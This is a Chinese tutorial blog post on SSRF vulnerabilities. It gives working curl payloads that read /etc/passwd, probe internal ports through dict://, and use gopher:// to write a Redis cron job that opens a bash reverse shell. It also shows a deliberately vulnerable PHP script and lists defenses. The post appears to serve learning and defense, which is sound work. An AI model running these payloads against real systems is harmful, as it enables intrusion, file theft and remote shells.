SSRF漏洞學(xué)習(xí)

什么是 SSRF ?

簡(jiǎn)介:SSRF(Server-Side Request Forgery)服務(wù)端請(qǐng)求偽造,是一種由攻擊者構(gòu)造形成由服務(wù)器端發(fā)起請(qǐng)求的一個(gè)漏洞,一般情況下,SSRF 攻擊的目標(biāo)是從外網(wǎng)無法訪問的內(nèi)部系統(tǒng)。


SSRF危害即可以實(shí)現(xiàn)的攻擊行為

  1. 主機(jī)本地敏感信息讀取, 對(duì)外網(wǎng)、服務(wù)器所在內(nèi)網(wǎng)、本地進(jìn)行端口掃描,獲取一些服務(wù)的Banner信息
  2. 攻擊運(yùn)行在內(nèi)外網(wǎng)主機(jī)的應(yīng)用程序
  3. 通過訪問默認(rèn)文件對(duì)內(nèi)網(wǎng) Web 應(yīng)用進(jìn)行指紋識(shí)別
  4. 攻擊內(nèi)外網(wǎng)的 Web 應(yīng)用,主要是使用 GET參數(shù)就可以實(shí)現(xiàn)的攻擊
  5. 利用file協(xié)議讀取本地文件


可進(jìn)行利用的協(xié)議

FILE                           讀取服務(wù)器上任意文件內(nèi)容
IMAP/IMAPS/POP3SMTP/SMTPS      爆破郵件用戶名密碼
FTP/FTPS                       FTP匿名訪問、爆破
DICT                           操作內(nèi)網(wǎng)Redis等服務(wù)
GOPHER                         能夠?qū)⑺胁僮鬓D(zhuǎn)成數(shù)據(jù)流,并將數(shù)據(jù)流一次發(fā)出去,可以用來探測(cè)內(nèi)網(wǎng)的所有服務(wù)的所有漏洞
TFTP                           UDP協(xié)議擴(kuò)展

使用curl -V命令可以查看Ubuntu 16.04版本下默認(rèn)的libcurl支持的協(xié)議

PHP中容易造成漏洞的函數(shù)

curl_exec()
file_get_contents()
fsockopen()


漏洞利用

  • 本地利用

利用方式

  1. 利用file協(xié)議查看文件

curl -v 'file:///etc/passwd'

  1. 利用dict探測(cè)端口

curl -v 'dict://127.0.0.1:22'
curl -v 'dict://127.0.0.1:6379/info'

  1. 利用gopher協(xié)議反彈shell

curl -v 'gopher://靶機(jī)ip:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$58%0d%0a%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/spool/cron/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0a*1%0d%0a$4%0d%0aquit%0d%0a'

更換IP和端口時(shí),命令中的$58也要更改,$58表示字符串長(zhǎng)度為58個(gè)字節(jié),上面的EXP即是%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/1234 0>&1%0a%0a%0a%0a,3+51+4=58。如果想換成42.256.24.73,那么$58需要改成$61,以此類推。

注:Windows下使用curl命令需要把單引號(hào)換成雙引號(hào)

  • 遠(yuǎn)程利用

例 1
ssrf.php (未做任何ssrf防御)

<?php
function curl($url){  
    // 創(chuàng)建一個(gè)新cURL資源
    $ch = curl_init();
    // 設(shè)置URL和相應(yīng)的選項(xiàng)
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    // 抓取URL并把它傳遞給瀏覽器
    curl_exec($ch);
    // 關(guān)閉cURL資源,并且釋放系統(tǒng)資源
    curl_close($ch);
}

$url = $_GET['url'];
curl($url); 
?>

$GET_['url']可控,從而可以發(fā)送任意請(qǐng)求站點(diǎn),構(gòu)成ssrf漏洞
利用方式

# 利用file協(xié)議任意文件讀取
curl -v 'http://sec.com:8082/sec/ssrf.php?url=file:///etc/passwd'

# 利用dict協(xié)議查看端口
curl -v 'http://sec.com:8082/sec/ssrf.php?url=dict://127.0.0.1:22'

# 利用gopher協(xié)議反彈shell
curl -v 'http://sec.com:8082/sec/ssrf.php?url=gopher%3A%2F%2F127.0.0.1%3A6379%2F_%2A3%250d%250a%243%250d%250aset%250d%250a%241%250d%250a1%250d%250a%2456%250d%250a%250d%250a%250a%250a%2A%2F1%20%2A%20%2A%20%2A%20%2A%20bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F127.0.0.1%2F2333%200%3E%261%250a%250a%250a%250d%250a%250d%250a%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%243%250d%250adir%250d%250a%2416%250d%250a%2Fvar%2Fspool%2Fcron%2F%250d%250a%2A4%250d%250a%246%250d%250aconfig%250d%250a%243%250d%250aset%250d%250a%2410%250d%250adbfilename%250d%250a%244%250d%250aroot%250d%250a%2A1%250d%250a%244%250d%250asave%250d%250a%2A1%250d%250a%244%250d%250aquit%250d%250a'

例 2
ssrf2.php
限制協(xié)議為HTTP、HTTPS
設(shè)置跳轉(zhuǎn)重定向?yàn)門rue(默認(rèn)不跳轉(zhuǎn))

<?php
function curl($url){
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, True);
    // 限制為HTTPS、HTTP協(xié)議
    curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS);
    curl_setopt($ch, CURLOPT_HEADER, 0);
    curl_exec($ch);
    curl_close($ch);
}

$url = $_GET['url'];
curl($url);
?>

此時(shí)使用dict協(xié)議已經(jīng)不成功,可以利用302跳轉(zhuǎn)的方式來繞過http協(xié)議限制


漏洞尋找

分享功能,通過 URL 地址分享網(wǎng)頁內(nèi)容

早期分享應(yīng)用中,為了更好的提供用戶體驗(yàn),WEB應(yīng)用在分享功能中,通常會(huì)獲取目標(biāo)URL地址網(wǎng)頁內(nèi)容中的<tilte></title>標(biāo)簽或者<meta name="description" content=“”/>標(biāo)簽中content的文本內(nèi)容作為顯示以提供更好的用戶體驗(yàn)

轉(zhuǎn)碼服務(wù):通過URL地址把原地址的網(wǎng)頁內(nèi)容調(diào)優(yōu)使其適合手機(jī)屏幕瀏覽

由于手機(jī)屏幕大小的關(guān)系,直接瀏覽網(wǎng)頁內(nèi)容的時(shí)候會(huì)造成許多不便,因此有些公司提供了轉(zhuǎn)碼功能,把網(wǎng)頁內(nèi)容通過相關(guān)手段轉(zhuǎn)為適合手機(jī)屏幕瀏覽的樣式。例如百度、騰訊、搜狗等公司都有提供在線轉(zhuǎn)碼服務(wù)

在線翻譯:通過URL地址翻譯對(duì)應(yīng)文本的內(nèi)容。

提供此功能的國(guó)內(nèi)公司有百度、有道等

圖片加載與下載:通過URL地址加載或下載圖片

圖片加載遠(yuǎn)程圖片地址此功能用到的地方很多,但大多都是比較隱秘,比如在有些公司中的加載自家圖片服務(wù)器上的圖片用于展示。(開發(fā)者為了有更好的用戶體驗(yàn)通常對(duì)圖片做些微小調(diào)整例如加水印、壓縮等,所以就可能造成SSRF問題)

圖片、文章收藏功能

此處的圖片、文章收藏中的文章收藏就類似于功能一、分享功能中獲取URL地址中title以及文本的內(nèi)容作為顯示,目的還是為了更好的用戶體驗(yàn),而圖片收藏就類似于功能四、圖片加載

從URL關(guān)鍵字中尋找

share,url,link,src,source,target,sourceURl,imageURL,domain...

未公開的api實(shí)現(xiàn)以及其他調(diào)用URL的功能

此處類似的功能有360提供的網(wǎng)站評(píng)分,以及有些網(wǎng)站通過api獲取遠(yuǎn)程地址xml文件來加載內(nèi)容。

其他

數(shù)據(jù)庫(kù)內(nèi)置功能,比如mongodb的copyDatabase函數(shù)
接收郵件服務(wù)器地址的郵件系統(tǒng)


漏洞防護(hù)

  1. 限制協(xié)議為HTTP、HTTPS
  2. 限制302跳轉(zhuǎn)次數(shù)
  3. 統(tǒng)一錯(cuò)誤信息
  4. 限制內(nèi)網(wǎng)IP


參考鏈接:
https://joychou.org/web/phpssrf.html
http://www.mottoin.com/tech/115007.html
https://feei.cn/ssrf
http://www.itdecent.cn/p/24ca56a2f5f5

最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

  • 轉(zhuǎn)自paper.tuisec.win/detail.jsp 攻擊內(nèi)網(wǎng)redis 攻擊redis常見exp為: 對(duì)應(yīng)...
    sum3mer閱讀 5,276評(píng)論 0 2
  • 一套實(shí)用的滲透測(cè)試崗位面試題,你會(huì)嗎? 1.拿到一個(gè)待檢測(cè)的站,你覺得應(yīng)該先做什么? 收集信息 whois、網(wǎng)站源...
    g0閱讀 5,146評(píng)論 0 9
  • 0x01 概述 SSRF(Server-side Request Forge, 服務(wù)端請(qǐng)求偽造)。由攻擊者構(gòu)造的攻...
    Pino_HD閱讀 7,975評(píng)論 0 1
  • 在連續(xù)幾天的低溫潮后,這個(gè)周日迎來了陽光明媚的一天。 我是屬于早起大軍中的一員了,可能感慨生命的唯一性和有限性吧,...
    睡過墳堆的人閱讀 219評(píng)論 0 1
  • 情人節(jié)前夕,朋友圈被左先生和右先生刷屏了,姑娘們轉(zhuǎn)發(fā)的同時(shí),大多配上了這句話——你可以跟左先生談戀愛,但請(qǐng)記得嫁給...
    鏡天閱讀 576評(píng)論 2 5

友情鏈接更多精彩內(nèi)容